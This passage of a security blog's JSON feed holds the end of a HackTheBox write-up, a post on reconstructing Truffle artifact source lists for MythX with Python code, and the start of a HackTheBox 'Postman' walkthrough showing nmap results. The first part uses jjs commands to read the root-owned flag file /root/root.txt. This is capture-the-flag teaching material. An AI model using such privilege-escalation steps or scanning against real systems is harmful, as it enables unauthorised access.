class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"n\">FileReader<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">Java<\/span><span class=\"p\">.<\/span><span class=\"na\">type<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;java.io.FileReader&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">jjs<\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"n\">br<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"k\">new<\/span><span class=\"w\"> <\/span><span class=\"n\">BufferedReader<\/span><span class=\"p\">(<\/span><span class=\"k\">new<\/span><span class=\"w\"> <\/span><span class=\"n\">FileReader<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;\/root\/root.txt&quot;<\/span><span class=\"p\">));<\/span>\n<span class=\"n\">jjs<\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"nf\">while<\/span><span class=\"w\"> <\/span><span class=\"p\">((<\/span><span class=\"n\">line<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">br<\/span><span class=\"p\">.<\/span><span class=\"na\">readLine<\/span><span class=\"p\">())<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"n\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">line<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span>\n<span class=\"mi\">8<\/span><span class=\"n\">a8ef79a7a2fbb01ea81688424e9ab15<\/span>\n<\/code><\/pre><\/div>\n\n<p>And that gives us the root flag. Awesome!<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"Construct Truffle Artifact Source Lists","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/05\/12\/construct-truffle-artifact-source-lists.html","rel":"alternate"}},"published":"2020-05-12T00:00:00+02:00","updated":"2020-05-12T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-05-12:\/2020\/05\/12\/construct-truffle-artifact-source-lists.html","summary":"<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/construct-truffle-artifact-source-lists\/photo-of-truffles-on-the-plate-783153.jpg\" data-pswp-width=\"3072\" data-pswp-height=\"2048\" target=\"_blank\">\n        <img src=\"\/blog\/construct-truffle-artifact-source-lists\/photo-of-truffles-on-the-plate-783153_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>This is a quick and dirty workaround for an issue that has been bugging me a lot. <a href=\"https:\/\/github.com\/trufflesuite\/truffle\/\">Truffle<\/a> is one of the central, if not the most central development tool for building smart contracts on Ethereum to date. When compiling a Truffle project, the output is stored in <code>build\/contracts \u2026<\/code><\/p>","content":"<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/construct-truffle-artifact-source-lists\/photo-of-truffles-on-the-plate-783153.jpg\" data-pswp-width=\"3072\" data-pswp-height=\"2048\" target=\"_blank\">\n        <img src=\"\/blog\/construct-truffle-artifact-source-lists\/photo-of-truffles-on-the-plate-783153_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>This is a quick and dirty workaround for an issue that has been bugging me a lot. <a href=\"https:\/\/github.com\/trufflesuite\/truffle\/\">Truffle<\/a> is one of the central, if not the most central development tool for building smart contracts on Ethereum to date. When compiling a Truffle project, the output is stored in <code>build\/contracts<\/code> by default. An artifact simply a JSON object containing a plethora of data. A short sample from the <a href=\"https:\/\/github.com\/skalenetwork\/skale-manager\">SKALE<\/a> project:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;contractName&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;SkaleDKG&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;abi&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">[],<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;metadata&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;{\\&quot;compiler\\&quot;:{\\&quot;version\\&quot;:\\&quot;0.5.16+commit.9c3226ce\\&quot;},...}&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;bytecode&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;0x...&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;deployedBytecode&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;0x...&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;sourceMap&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;1529:30527:18:-;;;;;;;;;&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;deployedSourceMap&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;1529:30527:18:-;;...&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;source&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;...&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;sourcePath&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;\/path\/to\/skale-manager\/contracts\/SkaleDKG.sol&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;ast&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{},<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;legacyAST&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{},<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;compiler&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;name&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;solc&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;version&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;0.5.16+commit.9c3226ce.Emscripten.clang&quot;<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">},<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;networks&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{},<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;schemaVersion&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;3.0.20&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;updatedAt&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;2020-05-05T09:55:25.394Z&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;devdoc&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{},<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;userdoc&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;methods&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{}<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>If we want to submit this artifact as a payload to <a href=\"https:\/\/mythx.io\/\">MythX<\/a> for security analysis, we are lacking an important feature, however: The source list.<\/p>\n<h2>Why is the source list needed?<\/h2>\n<p>When MythX does analyses, we obviously want to show the developer where a potential vulnerability is in their code. When we analyse the produced bytecode of a smart contract, we internally report locations as bytecode offsets. These are locations with three components:<\/p>\n<ul>\n<li>offset<\/li>\n<li>length<\/li>\n<li>file index<\/li>\n<\/ul>\n<p>Telling a developer that an issue exists at bytecode offset 122 for the length of 6 bytes is not very useful, still. This is where solc <a href=\"https:\/\/solidity.readthedocs.io\/en\/v0.6.7\/internals\/source_mappings.html\">source maps<\/a> come in. Source maps essentially map bytecode locations to source code lines and columns. Nice!<\/p>\n<p>With Truffle artifacts, there is one central problem: The source list is not contained in the JSON object. Look again in the sample above. No source list. So if a source map contains file index 2, there is no way for a developer to find out which file this mapping references. So.. do we have to drop Truffle support on the <a href=\"https:\/\/github.com\/dmuhs\/mythx-cli\">MythX CLI<\/a> now?<\/p>\n<h2>The workaround<\/h2>\n<p>After a bit of head-scratching with my fellow 10x developer <a href=\"https:\/\/twitter.com\/itsjoaosantos\">Joao<\/a>, we found a workaround that is not too bad. It depends on having the AST (or legacy AST) inside the artifact file. The directory of artifacts looks something like this in structure:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>build\/\n\u2514\u2500\u2500 contracts\n    \u251c\u2500\u2500 Address.json\n    \u251c\u2500\u2500 BokkyPooBahsDateTimeLibrary.json\n    \u251c\u2500\u2500 console.json\n    \u251c\u2500\u2500 ConstantsHolder.json\n    \u251c\u2500\u2500 Context.json\n    \u251c\u2500\u2500 ContractManager.json\n    \u251c\u2500\u2500 Decryption.json\n    \u251c\u2500\u2500 DelegationController.json\n    \u251c\u2500\u2500 DelegationPeriodManager.json\n    \u251c\u2500\u2500 Distributor.json\n    ...\n<\/code><\/pre><\/div>\n\n<p>Each file is an artifact, which in turn has an AST. The basic structure of the above <code>SkaleDKG<\/code> sample looks like this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"nt\">&quot;ast&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;absolutePath&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;\/path\/to\/skale-manager\/contracts\/SkaleDKG.sol&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;exportedSymbols&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">{},<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;id&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">13843<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;nodeType&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;SourceUnit&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;nodes&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"p\">[],<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&quot;src&quot;<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;785:31272:18&quot;<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>.. with data before and after, and the <code>exportedSymbols<\/code> and <code>nodes<\/code> keys filled. You get the gist. What is important here is the root <code>src<\/code> property of the AST and the <code>absolutePath<\/code>. The file index from <code>src<\/code> and the absolute path in the AST give us information on the current file's location in the source list. All that is left to do now is to iterate over all artifacts in the output directory, extract the file ID (the third element in the <code>src<\/code> string, and attach it to the absolute path. Here is a basic Python function to return a list of artifacts along with the source list:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">find_truffle_artifacts<\/span><span class=\"p\">(<\/span>\n    <span class=\"n\">project_dir<\/span><span class=\"p\">:<\/span> <span class=\"n\">Union<\/span><span class=\"p\">[<\/span><span class=\"nb\">str<\/span><span class=\"p\">,<\/span> <span class=\"n\">Path<\/span><span class=\"p\">]<\/span>\n<span class=\"p\">)<\/span> <span class=\"o\">-&gt;<\/span> <span class=\"n\">Union<\/span><span class=\"p\">[<\/span><span class=\"n\">Tuple<\/span><span class=\"p\">[<\/span><span class=\"n\">List<\/span><span class=\"p\">[<\/span><span class=\"nb\">str<\/span><span class=\"p\">],<\/span> <span class=\"n\">List<\/span><span class=\"p\">[<\/span><span class=\"nb\">str<\/span><span class=\"p\">]],<\/span> <span class=\"n\">Tuple<\/span><span class=\"p\">[<\/span><span class=\"kc\">None<\/span><span class=\"p\">,<\/span> <span class=\"kc\">None<\/span><span class=\"p\">]]:<\/span>\n<span class=\"w\">    <\/span><span class=\"sd\">&quot;&quot;&quot;Look for a Truffle build folder and return all relevant JSON artifacts.<\/span>\n\n<span class=\"sd\">    This function will skip the Migrations.json file and return all other files<\/span>\n<span class=\"sd\">    under :code:`&lt;project-dir&gt;\/build\/contracts\/`. If no files were found,<\/span>\n<span class=\"sd\">    :code:`None` is returned.<\/span>\n\n<span class=\"sd\">    :param project_dir: The base directory of the Truffle project<\/span>\n<span class=\"sd\">    :return: Files under :code:`&lt;project-dir&gt;\/build\/contracts\/` or :code:`None`<\/span>\n<span class=\"sd\">    &quot;&quot;&quot;<\/span>\n\n    <span class=\"n\">output_pattern<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Path<\/span><span class=\"p\">(<\/span><span class=\"n\">project_dir<\/span><span class=\"p\">)<\/span> <span class=\"o\">\/<\/span> <span class=\"s2\">&quot;build&quot;<\/span> <span class=\"o\">\/<\/span> <span class=\"s2\">&quot;contracts&quot;<\/span> <span class=\"o\">\/<\/span> <span class=\"s2\">&quot;*.json&quot;<\/span>\n    <span class=\"n\">artifact_files<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">list<\/span><span class=\"p\">(<\/span><span class=\"n\">glob<\/span><span class=\"p\">(<\/span><span class=\"nb\">str<\/span><span class=\"p\">(<\/span><span class=\"n\">output_pattern<\/span><span class=\"o\">.<\/span><span class=\"n\">absolute<\/span><span class=\"p\">())))<\/span>\n    <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">artifact_files<\/span><span class=\"p\">:<\/span>\n        <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s2\">&quot;No truffle artifacts found in pattern <\/span><span class=\"si\">{<\/span><span class=\"n\">output_pattern<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">return<\/span> <span class=\"kc\">None<\/span><span class=\"p\">,<\/span> <span class=\"kc\">None<\/span>\n\n    <span class=\"n\">sources<\/span><span class=\"p\">:<\/span> <span class=\"n\">Set<\/span><span class=\"p\">[<\/span><span class=\"n\">Tuple<\/span><span class=\"p\">[<\/span><span class=\"nb\">int<\/span><span class=\"p\">,<\/span> <span class=\"nb\">str<\/span><span class=\"p\">]]<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">set<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">artifacts<\/span><span class=\"p\">:<\/span> <span class=\"n\">List<\/span><span class=\"p\">[<\/span><span class=\"nb\">dict<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n\n    <span class=\"k\">for<\/span> <span class=\"n\">file<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">artifact_files<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"n\">file<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">af<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">artifact<\/span> <span class=\"o\">=<\/span> <span class=\"n\">json<\/span><span class=\"o\">.<\/span><span class=\"n\">load<\/span><span class=\"p\">(<\/span><span class=\"n\">af<\/span><span class=\"p\">)<\/span>\n            <span class=\"n\">artifacts<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">artifact<\/span><span class=\"p\">)<\/span>\n            <span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n                <span class=\"n\">ast<\/span> <span class=\"o\">=<\/span> <span class=\"n\">artifact<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;ast&quot;<\/span><span class=\"p\">)<\/span> <span class=\"ow\">or<\/span> <span class=\"n\">artifact<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;legacyAST&quot;<\/span><span class=\"p\">)<\/span>\n                <span class=\"n\">idx<\/span> <span class=\"o\">=<\/span> <span class=\"n\">ast<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;src&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;:&quot;<\/span><span class=\"p\">)[<\/span><span class=\"mi\">2<\/span><span class=\"p\">]<\/span>\n                <span class=\"n\">sources<\/span><span class=\"o\">.<\/span><span class=\"n\">add<\/span><span class=\"p\">((<\/span><span class=\"nb\">int<\/span><span class=\"p\">(<\/span><span class=\"n\">idx<\/span><span class=\"p\">),<\/span> <span class=\"n\">artifact<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;sourcePath&quot;<\/span><span class=\"p\">)))<\/span>\n            <span class=\"k\">except<\/span> <span class=\"p\">(<\/span><span class=\"ne\">KeyError<\/span><span class=\"p\">,<\/span> <span class=\"ne\">IndexError<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">e<\/span><span class=\"p\">:<\/span>\n                <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s2\">&quot;Could not reconstruct artifact source list: <\/span><span class=\"si\">{<\/span><span class=\"n\">e<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">)<\/span>\n                <span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">exit<\/span><span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"n\">source_list<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"n\">x<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]<\/span> <span class=\"k\">for<\/span> <span class=\"n\">x<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">sorted<\/span><span class=\"p\">(<\/span><span class=\"nb\">list<\/span><span class=\"p\">(<\/span><span class=\"n\">sources<\/span><span class=\"p\">),<\/span> <span class=\"n\">key<\/span><span class=\"o\">=<\/span><span class=\"k\">lambda<\/span> <span class=\"n\">x<\/span><span class=\"p\">:<\/span> <span class=\"n\">x<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">])]<\/span>\n    <span class=\"k\">return<\/span> <span class=\"n\">artifacts<\/span><span class=\"p\">,<\/span> <span class=\"n\">source_list<\/span>\n<\/code><\/pre><\/div>\n\n<p>Basically we iterate over all artifacts (a <code>*.json<\/code> glob in the output directory) and store a tuple <code>(&lt;file_id&gt;, &lt;path&gt;)<\/code> in a set. Using a set avoids duplicate entries, which can very well occur in this workaround. In the last step, we convert the set into a list (which we can sort), sort it by the file index, and transform the list to only hold the absolute paths in this exact order.<\/p>\n<p>Because AST and source mappings originate from the same solc call, the file indices should now correlate and our source list can be used to resolve bytecode locations to the project's source code!<\/p>\n<p>And this is the story about how the MythX CLI did not drop Truffle support. If you're interested in what the actual source code looks like, check out the <a href=\"https:\/\/github.com\/dmuhs\/mythx-cli\">repo on Github<\/a>!<\/p>\n<h2>One last thing<\/h2>\n<p>Before people start ranting: I think Truffle is a great project and the developer's efforts on this project have reflected directly in the Ethereum smart contract ecosystem flourishing. Tons of meaningful projects rely on Truffle, and I cannot begin to imagine the pressure of feature requests, bug reports and integration efforts their developers and contributors are facing on a daily basis. I sincerely appreciate the work and hope that this post will be of help to anyone working on tooling that needs to make sense of Truffle artifacts.<\/p>\n<p>... such as <a href=\"https:\/\/mythx.io\/\">MythX<\/a>. Check out <a href=\"https:\/\/mythx.io\/\">MythX<\/a>. If you develop smart contracts, you should\ncheck out <a href=\"https:\/\/mythx.io\/\">MythX<\/a>. Seriously. <a href=\"https:\/\/mythx.io\/\">MythX<\/a>.<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"HackTheBox Postman","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/03\/21\/hackthebox-postman.html","rel":"alternate"}},"published":"2020-03-21T00:00:00+01:00","updated":"2020-03-21T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-03-21:\/2020\/03\/21\/hackthebox-postman.html","summary":"<p>Postman was an easy-going box. It required careful enumeration and beyond that did not have too much resistance in privilege escalation. This makes it a prime example for real-world M&amp;M security where the initial foothold is hard, but there is few resistance on the inside. Let's start out by \u2026<\/p>","content":"<p>Postman was an easy-going box. It required careful enumeration and beyond that did not have too much resistance in privilege escalation. This makes it a prime example for real-world M&amp;M security where the initial foothold is hard, but there is few resistance on the inside. Let's start out by scanning the machine:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># nmap -sS -sC -oN postman.nmap -v 10.10.10.160<\/span>\n<span class=\"c1\"># Nmap 7.80 scan initiated Sun Dec  8 11:27:40 2019 as: nmap -sS -sC -oN postman.nmap -v -p1-10000 10.10.10.160<\/span>\nIncreasing<span class=\"w\"> <\/span>send<span class=\"w\"> <\/span>delay<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.160<span class=\"w\"> <\/span>from<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">5<\/span><span class=\"w\"> <\/span>due<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">674<\/span><span class=\"w\"> <\/span>out<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span><span class=\"m\">2245<\/span><span class=\"w\"> <\/span>dropped<span class=\"w\"> <\/span>probes<span class=\"w\"> <\/span>since<span class=\"w\"> <\/span>last<span class=\"w\"> <\/span>increase.\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.160\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.11s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">9996<\/span><span class=\"w\"> <\/span>closed<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">      <\/span>STATE<span class=\"w\"> <\/span>SERVICE\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\">    <\/span>open<span class=\"w\">  <\/span>ssh\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssh-hostkey:\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span><span class=\"m\">46<\/span>:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77<span class=\"w\"> <\/span><span class=\"o\">(<\/span>RSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ECDSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ED25519<span class=\"o\">)<\/span>\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\">    <\/span>open<span class=\"w\">  <\/span>http\n<span class=\"p\">|<\/span>_http-favicon:<span class=\"w\"> <\/span>Unknown<span class=\"w\"> <\/span>favicon<span class=\"w\"> <\/span>MD5:<span class=\"w\"> <\/span>E234E3E8040EFB1ACD7028330A956EBF\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>http-methods:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>Supported<span class=\"w\"> <\/span>Methods:<span class=\"w\"> <\/span>GET<span class=\"w\"> <\/span>POST<span class=\"w\"> <\/span>OPTIONS<span class=\"w\"> <\/span>HEAD\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>The<span class=\"w\"> <\/span>Cyber<span class=\"w\"> <\/span>Geek<span class=\"err\">&#39;<\/span>s<span class=\"w\"> <\/span>Personal<span class=\"w\"> <\/span>Website\n<span class=\"m\">6379<\/span>\/tcp<span class=\"w\">  <\/span>open<span class=\"w\">  <\/span>redis\n<span class=\"m\">10000<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>snet-sensor-mgmt\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssl-cert:<span class=\"w\"> <\/span>Subject:<span class=\"w\"> <\/span><span class=\"nv\">commonName<\/span><span class=\"o\">=<\/span>*\/organizationName<span class=\"o\">=<\/span>Webmin<span class=\"w\"> <\/span>Webserver<span class=\"w\"> <\/span>on<span class=\"w\"> <\/span>Postman\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Issuer:<span class=\"w\"> <\/span><span class=\"nv\">commonName<\/span><span class=\"o\">=<\/span>*\/organizationName<span class=\"o\">=<\/span>Webmin<span class=\"w\"> <\/span>Webserver<span class=\"w\"> <\/span>on<span class=\"w\"> <\/span>Postman\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Public<span class=\"w\"> <\/span>Key<span class=\"w\"> <\/span>type:<span class=\"w\"> <\/span>rsa\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Public<span class=\"w\"> <\/span>Key<span class=\"w\"> <\/span>bits:<span class=\"w\"> <\/span><span class=\"m\">2048<\/span>\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Signature<span class=\"w\"> <\/span>Algorithm:<span class=\"w\"> <\/span>sha256WithRSAEncryption\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Not<span class=\"w\"> <\/span>valid<span class=\"w\"> <\/span>before:<span class=\"w\"> <\/span><span class=\"m\">2019<\/span>-08-25T16:26:22\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Not<span class=\"w\"> <\/span>valid<span class=\"w\"> <\/span>after:<span class=\"w\">  <\/span><span class=\"m\">2024<\/span>-08-23T16:26:22\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>MD5:<span class=\"w\">   <\/span>96f4<span class=\"w\"> <\/span>064c<span class=\"w\"> <\/span>e63e<span class=\"w\"> <\/span><span class=\"m\">1277<\/span><span class=\"w\"> <\/span><span class=\"m\">4954<\/span><span class=\"w\"> <\/span>a4d9<span class=\"w\"> <\/span>a099<span class=\"w\"> <\/span>56ac\n<span class=\"p\">|<\/span>_SHA-1:<span class=\"w\"> <\/span><span class=\"m\">4322<\/span><span class=\"w\"> <\/span>6ff3<span class=\"w\"> <\/span>ab7a<span class=\"w\"> <\/span>6ade<span class=\"w\"> <\/span><span class=\"m\">2887<\/span><span class=\"w\"> <\/span>9b89<span class=\"w\"> <\/span><span class=\"m\">6657<\/span><span class=\"w\"> <\/span>401c<span class=\"w\"> <\/span>3afd<span class=\"w\"> <\/span><span class=\"m\">5217<\/span>\n<span class=\"p\">|<\/span>_ssl-date:<span class=\"w\"> <\/span>TLS<span class=\"w\"> <\/span>randomness<span class=\"w\"> <\/span>does<span class=\"w\"> <\/span>not<span class=\"w\"> <\/span>represent<span class=\"w\"> <\/span><span class=\"nb\">time<\/span>\n\nRead<span class=\"w\"> <\/span>data<span class=\"w\"> <\/span>files<span class=\"w\"> <\/span>from:<span class=\"w\"> <\/span>\/usr\/bin\/..\/share\/nmap\n<span class=\"c1\"># Nmap done at Sun Dec  8 11:29:31 2019 -- 1 IP address (1 host up)<\/span>\n<\/code><\/pre><\/div>\n\n<p>There are a few interesting things here already. We have a webserver running on port 80, an unprotected Redis database server on the default port 6379, and a custom application on port 10000. The latter one apparently is using an SSL certificate where the 